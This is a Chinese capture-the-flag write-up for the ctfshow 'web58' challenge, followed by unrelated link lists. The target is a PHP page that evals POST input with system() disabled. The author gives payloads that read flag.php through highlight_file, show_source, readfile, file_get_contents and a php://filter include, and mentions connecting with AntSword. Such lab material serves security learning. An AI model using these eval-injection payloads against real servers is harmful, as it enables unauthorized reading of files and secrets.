当前位置: 首页 > news >正文

[ctfshow web入门] web58

信息收集

if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

这麽简单?

解题

好吧,还是我想得太简单了
在这里插入图片描述
把system禁用了。不是参数过滤,而是直接禁用,不管是间接还是直接调用system都不行,所以之前的一些方法不能用了,比如日志包含,间接传参啥的。

我首先想到了,直接使用读文件的函数读取不就好了
然后想到了,蚁剑这种高级工具,应高有办法解决这种问题的吧,肯定不止eval一个绕过函数。
果然一个highlight_file就解决了

c=highlight_file("flag.php");
c=show_source("flag.php");
c=print_r(file("flag.php"));   

还有能各种加密的include,实在是没啥必要,能直接看为啥要加密嗷

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");

这些方法需要抓包,不会直接显示在渲染界面上

c=echo file_get_contents("flag.php");
c=readfile("flag.php");

、
蚁剑也是随便接入,参考[ctfshow web入门] web31
在这里插入图片描述


web    目录    web

相关文章:

  • 【算法-链表】链表操作技巧:常见算法
  • 《数据结构初阶》【链式二叉树】
  • 从父类到子类:C++ 继承的奇妙旅程(1)
  • 什么是HTML、CSS 和 JavaScript?
  • 如何阅读、学习 Git 核心源代码 ?
  • 使用C# ASP.NET创建一个可以由服务端推送信息至客户端的WEB应用(2)
  • 缓存套餐-03.功能测试
  • 缓存(1):三级缓存
  • 如何利用 Elastic Load Balancing 提升应用性能与可用性?
  • java CyclicBarrier
  • 模拟堆(算法题)
  • Linux电源管理(7)_Wakeup events framework
  • 【神经网络与深度学习】VAE 在解码前进行重参数化
  • 前端线上错误日志收集与定位指南
  • MySQL概念简介
  • C++ stl中的vector的相关用法 迭代器失效问题
  • 第4章 递推法
  • 1688拍立淘搜索相似商品API接口概述,json数据示例参考
  • 【编译原理】第五章 自下而上语法分析
  • HTML基础2-空元素,元素属性与页面的结构
  • 国家税务总局泰安市税务局:山东泰山啤酒公司欠税超536万元
  • 晶圆销量上升,中芯国际一季度营收增长近三成,净利增超1.6倍
  • 第1现场 | 50多年来首次!印度举行大规模民防演习
  • A股低开高走全线上涨:军工股再度领涨,两市成交12934亿元
  • 国防部:奉劝有关国家不要引狼入室,甘当棋子
  • 上任后首访,德国总理与法国总统举行会晤